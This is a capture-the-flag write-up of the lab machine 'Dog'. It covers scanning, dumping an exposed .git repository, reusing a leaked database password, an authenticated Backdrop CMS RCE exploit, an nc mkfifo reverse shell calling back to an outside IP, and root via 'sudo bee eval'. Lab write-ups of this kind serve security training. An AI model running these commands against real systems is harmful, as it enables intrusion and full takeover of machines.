Dog
Reconnaissance
Port Scanning
This is the nmap output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sudo nmap -sV -sC 10.10.11.58
sudo: unable to resolve host vm-kali: Name or service not known
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 14:31 PKT
Nmap scan report for 10.10.11.58
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.25 seconds
The .git, /core/, and /robots.txt led me down a rabbit hole, and I gained nothing much of value.
Directory Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sudo gobuster dir -u http://dog.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 40
sudo: unable to resolve host vm-kali: Name or service not known
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dog.htb/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/files (Status: 301) [Size: 302] [--> http://dog.htb/files/]
/themes (Status: 301) [Size: 303] [--> http://dog.htb/themes/]
/modules (Status: 301) [Size: 304] [--> http://dog.htb/modules/]
/sites (Status: 301) [Size: 302] [--> http://dog.htb/sites/]
/core (Status: 301) [Size: 301] [--> http://dog.htb/core/]
/layouts (Status: 301) [Size: 304] [--> http://dog.htb/layouts/]
/server-status (Status: 403) [Size: 272]
Progress: 207643 / 207644 (100.00%)
===============================================================
Finished
===============================================================
The /files/ directory offered some interesting files. The readme.md states this directory is used for storing uploaded files.
On enumerating /themes/ directory I found: /themes/lateral/shell.php and I was able to execute ?cmd=ls on the shell, with results. (This was probably someone else’s web shell).
We see the following files and directories.
Everything leads to a rabbit hole. We will try to reconstruct the git-repository from exposed .git.
We use git-dumper from https://github.com/arthaud/git-dumper. We dump the website.
1
./git_dumper.py http://10.10.11.58/ ~/Desktop/dump
We have the following files and directories now:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿vm-kali)-[~/Desktop/dump]
└─$ ls -la
total 92
drwxrwxr-x 8 kali kali 4096 Jun 28 18:26 .
drwxr-xr-x 19 kali kali 4096 Jun 28 18:25 ..
drwxrwxr-x 9 kali kali 4096 Jun 28 18:26 core
drwxrwxr-x 7 kali kali 4096 Jun 28 18:26 files
drwxrwxr-x 7 kali kali 4096 Jun 28 18:26 .git
-rwxrwxr-x 1 kali kali 578 Jun 28 18:26 index.php
drwxrwxr-x 2 kali kali 4096 Jun 28 18:26 layouts
-rwxrwxr-x 1 kali kali 18092 Jun 28 18:26 LICENSE.txt
-rwxrwxr-x 1 kali kali 5285 Jun 28 18:26 README.md
-rwxrwxr-x 1 kali kali 1198 Jun 28 18:26 robots.txt
-rwxrwxr-x 1 kali kali 21732 Jun 28 18:26 settings.php
drwxrwxr-x 2 kali kali 4096 Jun 28 18:26 sites
drwxrwxr-x 2 kali kali 4096 Jun 28 18:26 themes
What stands out is settings.php file. This is the string that is retrieved from the file for mysql database.
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
We can retrieve the password “BackDropJ2024DS2024”. Now we could login to the website, but we have no username until now. However, the /files hidden directory that we brute-forced actually helps us try a potential username.
If we traverse to the directory http://dog.htb/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"_config_name": "update.settings",
"_config_static": true,
"update_cron": 1,
"update_disabled_extensions": 0,
"update_interval_days": 0,
"update_url": "",
"update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
"update_max_attempts": 2,
"update_timeout": 30,
"update_emails": [
"tiffany@dog.htb"
],
"update_threshold": "all",
"update_requirement_type": 0,
"update_status": [],
"update_projects": []
}
The creds that we will try are tiffany:BackDropJ2024DS2024.
Foothold
We are finally able to access admin dashboard using the creds. Now, it’s time to search for known exploits in Backdrop CMS. We are able to find an authenticated RCE https://www.exploit-db.com/exploits/52021.
1
2
3
4
5
6
7
┌──(kali㉿vm-kali)-[~/Desktop]
└─$ python3 backdrop.py http://dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://dog.htb/modules/shell/shell.php
Now let’s upload the module according to format provided by the CMS. We create a .tar of shell folder.
1
tar -zcvf shell.tar shell
Uploading the shell.tar is a bit weird. It won’t upload? But we are able to upload it at http://10.10.11.58/?q=admin/modules/install. Adding a name does some weird issue just upload the .tar.
Reverse Shell
Now we finally have a web shell at http://10.10.11.58/modules/shell/shell.php. It’s very quick at deleting the shell, you have to be fast. We should try to upload a reverse shell. We generate a nc mkfifo reverse shell using https://www.revshells.com.
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.14 1234 >/tmp/f
TTY Upgrade
First on our attacker machine we start a netcat listener nc -lvnp 1234. From http://10.10.11.58/modules/shell/shell.php we execute the command above and we have a reverse shell now!
Now we upgrade the tty.
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
We are able to peek into a user’s home directory and we can find the user flag, but we don’t have the permission to read that file.
1
2
3
www-data@dog:/var/www/html$ ls /home/johncusack/
ls /home/johncusack/
user.txt
SU
We then login as johncusack using the same password we used for tiffany. We finally have the user flag.
Privilege Escalation
We start from sudo -l.
1
2
3
4
5
6
7
8
9
10
johncusack@dog:/var/www/html$ sudo -l
sudo -l
[sudo] password for johncusack: BackDropJ2024DS2024
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Let’s figure out what exactly “bee” binary is. It’s a command-line utility for Backdrop CMS. On doing johncusack@dog:/var/www/html$ sudo bee we are presented with the utilities one of interest is eval.
1
2
3
4
5
6
sudo bee
---SNIP---
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
---SNIP---
We abuse bee binary to get a root shell.
1
2
3
johncusack@dog:/var/www/html$ sudo bee eval "system('/bin/bash -i');"
sudo bee eval "system('/bin/bash -i');"
root@dog:/var/www/html#
Then we finally have the root flag!